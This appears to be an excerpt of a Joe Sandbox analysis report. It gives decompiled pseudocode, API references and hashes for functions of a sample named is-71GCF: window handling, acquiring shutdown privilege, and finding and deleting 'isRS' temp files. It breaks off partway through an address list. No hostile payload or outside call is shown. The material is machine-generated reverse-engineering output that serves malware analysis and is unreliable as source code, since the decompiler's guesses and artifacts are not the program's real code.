                                                          • Instruction ID: 6e8e1835638e55bd0808fe4d4a4ad931b2a57a08ee475610d27ccb265c7d6b2e
                                                          • Opcode Fuzzy Hash: ab415e3e0f897cf2df68723fca65fd79072db8db920f1f4b04ce7397b22c2cd0
                                                          • Instruction Fuzzy Hash: 3D516371A00209EFDB11DF99C881BAFB7F9EB48701F20406AF905E7281D7799D19CB69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 80%
                                                          			E00422A74(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
                                                          				intOrPtr* _v8;
                                                          				void* __ecx;
                                                          				intOrPtr _t94;
                                                          				intOrPtr _t95;
                                                          				intOrPtr _t100;
                                                          				intOrPtr _t102;
                                                          				intOrPtr _t103;
                                                          				void* _t105;
                                                          				struct HWND__* _t106;
                                                          				long _t116;
                                                          				long _t150;
                                                          				intOrPtr _t156;
                                                          				int _t161;
                                                          				intOrPtr _t162;
                                                          				intOrPtr _t182;
                                                          				intOrPtr _t186;
                                                          				struct HWND__* _t195;
                                                          				signed int _t198;
                                                          				signed int _t199;
                                                          				signed int _t202;
                                                          				void* _t207;
                                                          				intOrPtr _t211;
                                                          				intOrPtr _t212;
                                                          				intOrPtr _t214;
                                                          				signed int _t222;
                                                          				signed int _t223;
                                                          				signed int _t225;
                                                          				intOrPtr _t227;
                                                          				intOrPtr _t228;
                                                          
                                                          				_t227 = _t228;
                                                          				_push(0xf031);
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v8 = __eax;
                                                          				if(( *(_v8 + 0x1c) & 0x00000010) == 0 && ( *(_v8 + 0x119) & 0x00000004) != 0) {
                                                          					E00408EA0(__ebx, 0xf031, 1, __edi, __esi);
                                                          					E00403264();
                                                          				}
                                                          				 *(_v8 + 0x119) =  *(_v8 + 0x119) | 0x00000004;
                                                          				_push(_t227);
                                                          				_push(0x422dd6);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t228;
                                                          				if(( *(_v8 + 0x1c) & 0x00000010) == 0) {
                                                          					_t95 = _v8;
                                                          					_t232 =  *((char*)(_t95 + 0xc7));
                                                          					if( *((char*)(_t95 + 0xc7)) == 0) {
                                                          						 *[fs:eax] = _t228;
                                                          						E00402D48(_v8, 0xffdd, 0xf031, __eflags,  *[fs:eax], 0x422cdd, _t227);
                                                          						_pop(_t212);
                                                          						_pop(_t207);
                                                          						 *[fs:eax] = _t212;
                                                          						_t100 =  *0x48d62c; // 0x21c0660
                                                          						__eflags =  *((intOrPtr*)(_t100 + 0x40)) - _v8;
                                                          						if( *((intOrPtr*)(_t100 + 0x40)) == _v8) {
                                                          							__eflags = 0;
                                                          							E00422044(_v8, _t207, 0);
                                                          						}
                                                          						_t102 = _v8;
                                                          						__eflags =  *((char*)(_t102 + 0x116)) - 1;
                                                          						if( *((char*)(_t102 + 0x116)) != 1) {
                                                          							_t103 = _v8;
                                                          							__eflags =  *(_t103 + 0x119) & 0x00000008;
                                                          							if(( *(_t103 + 0x119) & 0x00000008) == 0) {
                                                          								_t195 = 0;
                                                          								_t105 = E004183F8(_v8);
                                                          								_t106 = GetActiveWindow();
                                                          								__eflags = _t105 - _t106;
                                                          								if(_t105 == _t106) {
                                                          									_t116 = IsIconic(E004183F8(_v8));
                                                          									__eflags = _t116;
                                                          									if(_t116 == 0) {
                                                          										_t195 = E0041F20C(E004183F8(_v8));
                                                          									}
                                                          								}
                                                          								__eflags = _t195;
                                                          								if(_t195 == 0) {
                                                          									ShowWindow(E004183F8(_v8), 0);
                                                          								} else {
                                                          									SetWindowPos(E004183F8(_v8), 0, 0, 0, 0, 0, 0x97);
                                                          									SetActiveWindow(_t195);
                                                          								}
                                                          							} else {
                                                          								SetWindowPos(E004183F8(_v8), 0, 0, 0, 0, 0, 0x97);
                                                          							}
                                                          						} else {
                                                          							E004168C8(_v8);
                                                          						}
                                                          					} else {
                                                          						 *[fs:eax] = _t228;
                                                          						E00402D48(_v8, 0xffdc, 0xf031, _t232,  *[fs:eax], 0x422b02, _t227);
                                                          						_pop(_t214);
                                                          						 *[fs:eax] = _t214;
                                                          						if( *((char*)(_v8 + 0x117)) == 4) {
                                                          							if( *((char*)(_v8 + 0x116)) != 1) {
                                                          								_t198 = E004233C0() -  *(_v8 + 0x2c);
                                                          								__eflags = _t198;
                                                          								_t199 = _t198 >> 1;
                                                          								if(_t198 < 0) {
                                                          									asm("adc ebx, 0x0");
                                                          								}
                                                          								_t222 = E004233B8() -  *(_v8 + 0x30);
                                                          								__eflags = _t222;
                                                          								_t223 = _t222 >> 1;
                                                          								if(_t222 < 0) {
                                                          									asm("adc esi, 0x0");
                                                          								}
                                                          							} else {
                                                          								_t182 =  *0x48d628; // 0x21c2410
                                                          								_t202 = E004148D4( *((intOrPtr*)(_t182 + 0x28))) -  *(_v8 + 0x2c);
                                                          								_t199 = _t202 >> 1;
                                                          								if(_t202 < 0) {
                                                          									asm("adc ebx, 0x0");
                                                          								}
                                                          								_t186 =  *0x48d628; // 0x21c2410
                                                          								_t225 = E00414918( *((intOrPtr*)(_t186 + 0x28))) -  *(_v8 + 0x30);
                                                          								_t223 = _t225 >> 1;
                                                          								if(_t225 < 0) {
                                                          									asm("adc esi, 0x0");
                                                          								}
                                                          							}
                                                          							if(_t199 < 0) {
                                                          								_t199 = 0;
                                                          							}
                                                          							if(_t223 < 0) {
                                                          								_t223 = 0;
                                                          							}
                                                          							 *((intOrPtr*)( *_v8 + 0x4c))( *(_v8 + 0x30),  *(_v8 + 0x2c));
                                                          						}
                                                          						 *((char*)(_v8 + 0x117)) = 0;
                                                          						if( *((char*)(_v8 + 0x116)) != 1) {
                                                          							ShowWindow(E004183F8(_v8),  *(0x48c5dc + ( *(_v8 + 0x112) & 0x000000ff) * 4));
                                                          						} else {
                                                          							if( *(_v8 + 0x112) != 2) {
                                                          								ShowWindow(E004183F8(_v8),  *(0x48c5dc + ( *(_v8 + 0x112) & 0x000000ff) * 4));
                                                          								_t150 =  *(_v8 + 0x30) << 0x00000010 |  *(_v8 + 0x2c);
                                                          								__eflags = _t150;
                                                          								CallWindowProcA(0x405f3c, E004183F8(_v8), 5, 0, _t150);
                                                          								E00414EDC(_v8);
                                                          							} else {
                                                          								_t161 = E004183F8(_v8);
                                                          								_t162 =  *0x48d628; // 0x21c2410
                                                          								SendMessageA( *( *((intOrPtr*)(_t162 + 0x28)) + 0x130), 0x223, _t161, 0);
                                                          								ShowWindow(E004183F8(_v8), 3);
                                                          							}
                                                          							_t156 =  *0x48d628; // 0x21c2410
                                                          							SendMessageA( *( *((intOrPtr*)(_t156 + 0x28)) + 0x130), 0x234, 0, 0);
                                                          						}
                                                          					}
                                                          				}
                                                          				_pop(_t211);
                                                          				 *[fs:eax] = _t211;
                                                          				_push(0x422ddd);
                                                          				_t94 = _v8;
                                                          				 *(_t94 + 0x119) =  *(_t94 + 0x119) & 0x000000fb;
                                                          				return _t94;
                                                          			}
































                                                          0x00422a75
                                                          0x00422a77
                                                          0x00422a78
                                                          0x00422a79
                                                          0x00422a7a
                                                          0x00422a7b
                                                          0x00422a85
                                                          0x00422a9f
                                                          0x00422aa4
                                                          0x00422aa4
                                                          0x00422aac
                                                          0x00422ab5
                                                          0x00422ab6
                                                          0x00422abb
                                                          0x00422abe
                                                          0x00422ac8
                                                          0x00422ace
                                                          0x00422ad1
                                                          0x00422ad8
                                                          0x00422cc4
                                                          0x00422cce
                                                          0x00422cd5
                                                          0x00422cd7
                                                          0x00422cd8
                                                          0x00422cf4
                                                          0x00422cfc
                                                          0x00422cff
                                                          0x00422d01
                                                          0x00422d06
                                                          0x00422d06
                                                          0x00422d0b
                                                          0x00422d0e
                                                          0x00422d15
                                                          0x00422d24
                                                          0x00422d27
                                                          0x00422d2e
                                                          0x00422d4f
                                                          0x00422d54
                                                          0x00422d5b
                                                          0x00422d60
                                                          0x00422d62
                                                          0x00422d6d
                                                          0x00422d72
                                                          0x00422d74
                                                          0x00422d83
                                                          0x00422d83
                                                          0x00422d74
                                                          0x00422d85
                                                          0x00422d87
                                                          0x00422db9
                                                          0x00422d89
                                                          0x00422da1
                                                          0x00422da7
                                                          0x00422da7
                                                          0x00422d30
                                                          0x00422d48
                                                          0x00422d48
                                                          0x00422d17
                                                          0x00422d1a
                                                          0x00422d1a
                                                          0x00422ade
                                                          0x00422ae9
                                                          0x00422af3
                                                          0x00422afa
                                                          0x00422afd
                                                          0x00422b23
                                                          0x00422b33
                                                          0x00422b7e
                                                          0x00422b7e
                                                          0x00422b81
                                                          0x00422b83
                                                          0x00422b85
                                                          0x00422b85
                                                          0x00422b97
                                                          0x00422b97
                                                          0x00422b9a
                                                          0x00422b9c
                                                          0x00422b9e
                                                          0x00422b9e
                                                          0x00422b35
                                                          0x00422b35
                                                          0x00422b47
                                                          0x00422b4a
                                                          0x00422b4c
                                                          0x00422b4e
                                                          0x00422b4e
                                                          0x00422b51
                                                          0x00422b63
                                                          0x00422b66
                                                          0x00422b68
                                                          0x00422b6a
                                                          0x00422b6a
                                                          0x00422b68
                                                          0x00422ba3
                                                          0x00422ba5
                                                          0x00422ba5
                                                          0x00422ba9
                                                          0x00422bab
                                                          0x00422bab
                                                          0x00422bc4
                                                          0x00422bc4
                                                          0x00422bca
                                                          0x00422bdb
                                                          0x00422caf
                                                          0x00422be1
                                                          0x00422beb
                                                          0x00422c3e
                                                          0x00422c4f
                                                          0x00422c4f
                                                          0x00422c65
                                                          0x00422c6d
                                                          0x00422bed
                                                          0x00422bf2
                                                          0x00422bfd
                                                          0x00422c0c
                                                          0x00422c1c
                                                          0x00422c1c
                                                          0x00422c7b
                                                          0x00422c8a
                                                          0x00422c8a
                                                          0x00422bdb
                                                          0x00422ad8
                                                          0x00422dc0
                                                          0x00422dc3
                                                          0x00422dc6
                                                          0x00422dcb
                                                          0x00422dce
                                                          0x00422dd5

                                                          APIs
                                                          • SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 00422C0C
                                                          • ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422DD6), ref: 00422C1C
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MessageSendShowWindow
                                                          • String ID:
                                                          • API String ID: 1631623395-0
                                                          • Opcode ID: e7f00a6d4dbb32307503526ed7416ee1a9d53864fb750ca6b4413598fc404314
                                                          • Instruction ID: f5e1b8c472ce89bcf9d6032173524dc5e4659697a22626c8740560310fbc38c9
                                                          • Opcode Fuzzy Hash: e7f00a6d4dbb32307503526ed7416ee1a9d53864fb750ca6b4413598fc404314
                                                          • Instruction Fuzzy Hash: FB918730B14258FFDB10EFA9DA45F9D77F4AF04714F5500AAF904A7292C779AE009B58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041859C(void* __eax) {
                                                          				struct _WINDOWPLACEMENT _v56;
                                                          				struct tagPOINT _v64;
                                                          				intOrPtr _v68;
                                                          				intOrPtr _t33;
                                                          				void* _t43;
                                                          				struct HWND__* _t49;
                                                          				struct tagPOINT* _t51;
                                                          
                                                          				_t51 =  &(_v64.y);
                                                          				_t43 = __eax;
                                                          				if(IsIconic( *(__eax + 0xc0)) == 0) {
                                                          					GetWindowRect( *(_t43 + 0xc0), _t51);
                                                          				} else {
                                                          					_v56.length = 0x2c;
                                                          					GetWindowPlacement( *(_t43 + 0xc0),  &_v56);
                                                          					memcpy(_t51,  &(_v56.rcNormalPosition), 4 << 2);
                                                          					_t51 = _t51 + 0xc;
                                                          				}
                                                          				if((GetWindowLongA( *(_t43 + 0xc0), 0xfffffff0) & 0x40000000) != 0) {
                                                          					_t49 = GetWindowLongA( *(_t43 + 0xc0), 0xfffffff8);
                                                          					ScreenToClient(_t49, _t51);
                                                          					ScreenToClient(_t49,  &_v64);
                                                          				}
                                                          				 *(_t43 + 0x24) = _t51->x;
                                                          				 *((intOrPtr*)(_t43 + 0x28)) = _v68;
                                                          				 *((intOrPtr*)(_t43 + 0x2c)) = _v64.x - _t51->x;
                                                          				_t33 = _v64.y.x - _v68;
                                                          				 *((intOrPtr*)(_t43 + 0x30)) = _t33;
                                                          				return _t33;
                                                          			}










                                                          0x0041859f
                                                          0x004185a2
                                                          0x004185b2
                                                          0x004185e4
                                                          0x004185b4
                                                          0x004185b4
                                                          0x004185c8
                                                          0x004185d8
                                                          0x004185d8
                                                          0x004185d8
                                                          0x004185fc
                                                          0x0041860c
                                                          0x00418610
                                                          0x0041861b
                                                          0x0041861b
                                                          0x00418623
                                                          0x0041862a
                                                          0x00418634
                                                          0x0041863b
                                                          0x0041863f
                                                          0x00418648

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$ClientLongScreen$IconicPlacementRect
                                                          • String ID: ,
                                                          • API String ID: 2266315723-3772416878
                                                          • Opcode ID: 3ff8bffa87c723ba4d6ab3a04062349e6f2272cf5b500f472933a3aee130f1b2
                                                          • Instruction ID: 3a9ba703cecd73ef0caae4595112f23853095bea5808b30e0bddf5b1c0855aff
                                                          • Opcode Fuzzy Hash: 3ff8bffa87c723ba4d6ab3a04062349e6f2272cf5b500f472933a3aee130f1b2
                                                          • Instruction Fuzzy Hash: 83114971505210ABDB00EF6DC885F9B77E8AB48314F05467EBD58DB286CB39D900CB6A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 84%
                                                          			E00453A8C() {
                                                          				intOrPtr _v4;
                                                          				struct _TOKEN_PRIVILEGES _v16;
                                                          				void* _v20;
                                                          				long _t6;
                                                          
                                                          				if( *0x48c0e0 == 2) {
                                                          					if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v20) == 0) {
                                                          						return E00453A6C();
                                                          					}
                                                          					LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v16.Privileges));
                                                          					_v16.PrivilegeCount = 1;
                                                          					_v4 = 2;
                                                          					AdjustTokenPrivileges(_v20, 0,  &_v16, 0, 0, 0);
                                                          					_t6 = GetLastError();
                                                          					if(_t6 != 0) {
                                                          						return E00453A6C();
                                                          					}
                                                          				}
                                                          				_push(0);
                                                          				_push(2);
                                                          				L00405FDC();
                                                          				if(_t6 == 0) {
                                                          					return E00453A6C();
                                                          				}
                                                          				return _t6;
                                                          			}







                                                          0x00453a96
                                                          0x00453aa8
                                                          0x00000000
                                                          0x00453aaa
                                                          0x00453abd
                                                          0x00453ac2
                                                          0x00453aca
                                                          0x00453ae4
                                                          0x00453ae9
                                                          0x00453af0
                                                          0x00000000
                                                          0x00453af2
                                                          0x00453af0
                                                          0x00453af9
                                                          0x00453afb
                                                          0x00453afd
                                                          0x00453b04
                                                          0x00000000
                                                          0x00453b06
                                                          0x00453b0e

                                                          APIs
                                                          • GetCurrentProcess.KERNEL32(00000028), ref: 00453A9B
                                                          • OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00453AA1
                                                          • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00453ABD
                                                          • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00453AE4
                                                          • GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00453AE9
                                                            • Part of subcall function 00453A6C: MessageBoxA.USER32 ref: 00453A86
                                                          • 6CF14E70.USER32(00000002,00000000), ref: 00453AFD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ProcessToken$AdjustCurrentErrorLastLookupMessageOpenPrivilegePrivilegesValue
                                                          • String ID: SeShutdownPrivilege
                                                          • API String ID: 3685916817-3733053543
                                                          • Opcode ID: fcfc5ad704e2be407fc782b20953fbd7ec609d854c6cae5866ca608daa6a9b43
                                                          • Instruction ID: 7824377f0540d6fb5411cdbd46488cdb9907473de884ea60f0c9a0a2f57701ed
                                                          • Opcode Fuzzy Hash: fcfc5ad704e2be407fc782b20953fbd7ec609d854c6cae5866ca608daa6a9b43
                                                          • Instruction Fuzzy Hash: 29F01960A4430165E610FEA68C47B1B35989B4078BF50482FBD80A91C3DBBCDE0CCA6F
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 58%
                                                          			E0048A778(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi) {
                                                          				void* _v8;
                                                          				char _v12;
                                                          				struct _WIN32_FIND_DATAA _v332;
                                                          				char _v336;
                                                          				void* _t60;
                                                          				intOrPtr _t72;
                                                          				intOrPtr _t74;
                                                          				signed int _t79;
                                                          				void* _t82;
                                                          				void* _t83;
                                                          				intOrPtr _t84;
                                                          
                                                          				_t82 = _t83;
                                                          				_t84 = _t83 + 0xfffffeb4;
                                                          				_v336 = 0;
                                                          				_v12 = 0;
                                                          				_t60 = __eax;
                                                          				_push(_t82);
                                                          				_push(0x48a8b6);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t84;
                                                          				E004035DC( &_v336, __eax);
                                                          				E004036C4( &_v336, "isRS-???.tmp");
                                                          				_v8 = FindFirstFileA(E00403880(_v336),  &_v332);
                                                          				if(_v8 == 0xffffffff) {
                                                          					_pop(_t72);
                                                          					 *[fs:eax] = _t72;
                                                          					_push(E0048A8BD);
                                                          					E00403548( &_v336);
                                                          					return E00403548( &_v12);
                                                          				} else {
                                                          					_push(_t82);
                                                          					_push(0x48a88e);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t84;
                                                          					do {
                                                          						if(E0040766C( &(_v332.cFileName), 5, "isRS-") == 0 && (_v332.dwFileAttributes & 0x00000010) == 0) {
                                                          							E004036A4( &_v336, 0x104,  &(_v332.cFileName));
                                                          							E00403708( &_v12, _v336, _t60);
                                                          							_t79 = _v332.dwFileAttributes;
                                                          							if((_t79 & 0x00000001) != 0) {
                                                          								_push(_t79 & 0xfffffffe);
                                                          								_push(E00403880(_v12));
                                                          								L00405BE4();
                                                          							}
                                                          							E00407064(_v12);
                                                          						}
                                                          					} while (FindNextFileA(_v8,  &_v332) != 0);
                                                          					_pop(_t74);
                                                          					 *[fs:eax] = _t74;
                                                          					_push(E0048A895);
                                                          					return FindClose(_v8);
                                                          				}
                                                          			}














                                                          0x0048a779
                                                          0x0048a77b
                                                          0x0048a786
                                                          0x0048a78c
                                                          0x0048a78f
                                                          0x0048a793
                                                          0x0048a794
                                                          0x0048a799
                                                          0x0048a79c
                                                          0x0048a7ae
                                                          0x0048a7be
                                                          0x0048a7d4
                                                          0x0048a7db
                                                          0x0048a897
                                                          0x0048a89a
                                                          0x0048a89d
                                                          0x0048a8a8
                                                          0x0048a8b5
                                                          0x0048a7e1
                                                          0x0048a7e3
                                                          0x0048a7e4
                                                          0x0048a7e9
                                                          0x0048a7ec
                                                          0x0048a7ef
                                                          0x0048a806
                                                          0x0048a822
                                                          0x0048a832
                                                          0x0048a837
                                                          0x0048a843
                                                          0x0048a848
                                                          0x0048a851
                                                          0x0048a852
                                                          0x0048a852
                                                          0x0048a85a
                                                          0x0048a85a
                                                          0x0048a86f
                                                          0x0048a879
                                                          0x0048a87c
                                                          0x0048a87f
                                                          0x0048a88d
                                                          0x0048a88d

                                                          APIs
                                                          • FindFirstFileA.KERNEL32(00000000,?,00000000,0048A8B6,?,?,00000000,0048D628,?,0048AA40,00000000,0048AA94,?,?,00000000,0048D628), ref: 0048A7CF
                                                          • 6CAA69D0.KERNEL32(00000000,00000010), ref: 0048A852
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,0048A88E,?,00000000,?,00000000,0048A8B6,?,?,00000000,0048D628,?,0048AA40,00000000), ref: 0048A86A
                                                          • FindClose.KERNEL32(000000FF,0048A895,0048A88E,?,00000000,?,00000000,0048A8B6,?,?,00000000,0048D628,?,0048AA40,00000000,0048AA94), ref: 0048A888
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Find$File$CloseFirstNext
                                                          • String ID: isRS-$isRS-???.tmp
                                                          • API String ID: 3541575487-3422211394
                                                          • Opcode ID: 472a345b053270a6fddfeef5e1c84a9b333b4cceb07049350a27130868d0a259
                                                          • Instruction ID: f71a1387bc5300d0acb67144f0d7af4670fdb4894ba7015dac9f99a2e5af6c39
                                                          • Opcode Fuzzy Hash: 472a345b053270a6fddfeef5e1c84a9b333b4cceb07049350a27130868d0a259
                                                          • Instruction Fuzzy Hash: 7C31C570900508AFEB14FF61CC41ACEB7BCDB45314F1048BBA808A3291EA789E558F65
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E004729D4(intOrPtr __eax, void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4, char _a8, intOrPtr _a12) {
                                                          				intOrPtr _v8;
                                                          				signed int _v12;
                                                          				intOrPtr _v16;
                                                          				char _v17;
                                                          				signed int _v24;
                                                          				char _v28;
                                                          				void* _v32;
                                                          				struct _WIN32_FIND_DATAA _v352;
                                                          				char _v356;
                                                          				char _v360;
                                                          				intOrPtr _t91;
                                                          				signed int _t109;
                                                          				int _t112;
                                                          				signed int _t128;
                                                          				signed char _t130;
                                                          				int _t133;
                                                          				intOrPtr _t140;
                                                          				void* _t143;
                                                          				intOrPtr _t167;
                                                          				intOrPtr _t178;
                                                          				intOrPtr _t181;
                                                          				void* _t190;
                                                          				void* _t191;
                                                          				intOrPtr _t192;
                                                          
                                                          				_t188 = __esi;
                                                          				_t187 = __edi;
                                                          				_t155 = __ecx;
                                                          				_t190 = _t191;
                                                          				_t192 = _t191 + 0xfffffe9c;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v356 = 0;
                                                          				_v360 = 0;
                                                          				_v24 = 0;
                                                          				_v28 = 0;
                                                          				_v16 = __ecx;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_push(_t190);
                                                          				_push(0x472c9a);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t192;
                                                          				_push(_v8);
                                                          				_push(_v12);
                                                          				_push(_v16);
                                                          				E0040377C();
                                                          				_v17 = 0;
                                                          				_v32 = FindFirstFileA(E00403880(_v24),  &_v352);
                                                          				if(_v32 == 0xffffffff) {
                                                          					_t91 = _a4;
                                                          					__eflags =  *(_t91 + 0x4c) & 0x00000020;
                                                          					if(( *(_t91 + 0x4c) & 0x00000020) == 0) {
                                                          						goto L21;
                                                          					} else {
                                                          						E004035DC( &_v356, _v8);
                                                          						E004036C4( &_v356, _v12);
                                                          						E004036C4( &_v356, 0x472cb8);
                                                          						_v32 = FindFirstFileA(E00403880(_v356),  &_v352);
                                                          						__eflags = _v32 - 0xffffffff;
                                                          						if(_v32 == 0xffffffff) {
                                                          							goto L21;
                                                          						} else {
                                                          							__eflags = 0;
                                                          							_push(_t190);
                                                          							_push(0x472c68);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t192;
                                                          							do {
                                                          								_t109 = E004727E8( &_v352);
                                                          								__eflags = _t109;
                                                          								if(_t109 == 0) {
                                                          									goto L19;
                                                          								} else {
                                                          									E004035DC( &_v356, _v12);
                                                          									E004036A4( &_v360, 0x104,  &(_v352.cFileName));
                                                          									E004036C4( &_v356, _v360);
                                                          									E004036C4( &_v356, 0x472cc4);
                                                          									_t128 = E004729D4(_v8, 0, _v16, _v356, _t187, _t188, _a4, _a8, _a12);
                                                          									__eflags = _t128;
                                                          									if(_t128 == 0) {
                                                          										goto L19;
                                                          									} else {
                                                          										_v17 = 1;
                                                          										E00403304();
                                                          										goto L21;
                                                          									}
                                                          								}
                                                          								goto L22;
                                                          								L19:
                                                          								_t112 = FindNextFileA(_v32,  &_v352);
                                                          								__eflags = _t112;
                                                          							} while (_t112 != 0);
                                                          							__eflags = 0;
                                                          							_pop(_t178);
                                                          							 *[fs:eax] = _t178;
                                                          							_push(0x472c6f);
                                                          							return FindClose(_v32);
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_push(_t190);
                                                          					_push(0x472b45);
                                                          					_push( *[fs:edx]);
                                                          					 *[fs:edx] = _t192;
                                                          					do {
                                                          						_t130 = _v352.dwFileAttributes;
                                                          						if((_t130 & 0x00000010) != 0 || _a8 != 0 && (_t130 & 0x00000002) != 0) {
                                                          							goto L11;
                                                          						} else {
                                                          							E004717F8( *((intOrPtr*)(_a4 + 4)), _t155,  &_v28);
                                                          							_t140 = _a4;
                                                          							_t198 =  *(_t140 + 0x4b) & 0x00000010;
                                                          							if(( *(_t140 + 0x4b) & 0x00000010) != 0) {
                                                          								__eflags = _v12;
                                                          								if(__eflags != 0) {
                                                          									E0042CA40(_v28, _t155,  &_v356);
                                                          									_push(_v356);
                                                          									_push(_v12);
                                                          									E0042CA18(_v28, _t155,  &_v360);
                                                          									_push(_v360);
                                                          									E0040377C();
                                                          								}
                                                          							} else {
                                                          								_push(_v28);
                                                          								_push(_v12);
                                                          								_t155 = 0x104;
                                                          								E004036A4( &_v356, 0x104,  &(_v352.cFileName));
                                                          								_push(_v356);
                                                          								E0040377C();
                                                          							}
                                                          							_t143 = E00472888(_v28, 0, _t155, _t187, _t188, _t198, _a12);
                                                          							_pop(_t155);
                                                          							if(_t143 == 0) {
                                                          								goto L11;
                                                          							} else {
                                                          								_v17 = 1;
                                                          								E00403304();
                                                          								L21:
                                                          								_pop(_t167);
                                                          								 *[fs:eax] = _t167;
                                                          								_push(0x472ca1);
                                                          								E00403568( &_v360, 2);
                                                          								return E00403568( &_v28, 2);
                                                          							}
                                                          						}
                                                          						goto L22;
                                                          						L11:
                                                          						_t133 = FindNextFileA(_v32,  &_v352);
                                                          						__eflags = _t133;
                                                          					} while (_t133 != 0);
                                                          					__eflags = 0;
                                                          					_pop(_t181);
                                                          					 *[fs:eax] = _t181;
                                                          					_push(0x472b4c);
                                                          					return FindClose(_v32);
                                                          				}
                                                          				L22:
                                                          			}



























                                                          0x004729d4
                                                          0x004729d4
                                                          0x004729d4
                                                          0x004729d5
                                                          0x004729d7
                                                          0x004729dd
                                                          0x004729de
                                                          0x004729df
                                                          0x004729e2
                                                          0x004729e8
                                                          0x004729ee
                                                          0x004729f1
                                                          0x004729f4
                                                          0x004729f7
                                                          0x004729fa
                                                          0x004729ff
                                                          0x00472a00
                                                          0x00472a05
                                                          0x00472a08
                                                          0x00472a0b
                                                          0x00472a0e
                                                          0x00472a11
                                                          0x00472a1c
                                                          0x00472a21
                                                          0x00472a3a
                                                          0x00472a41
                                                          0x00472b4c
                                                          0x00472b4f
                                                          0x00472b53
                                                          0x00000000
                                                          0x00472b59
                                                          0x00472b69
                                                          0x00472b77
                                                          0x00472b87
                                                          0x00472b9d
                                                          0x00472ba0
                                                          0x00472ba4
                                                          0x00000000
                                                          0x00472baa
                                                          0x00472baa
                                                          0x00472bac
                                                          0x00472bad
                                                          0x00472bb2
                                                          0x00472bb5
                                                          0x00472bb8
                                                          0x00472bbe
                                                          0x00472bc3
                                                          0x00472bc5
                                                          0x00000000
                                                          0x00472bc7
                                                          0x00472bdc
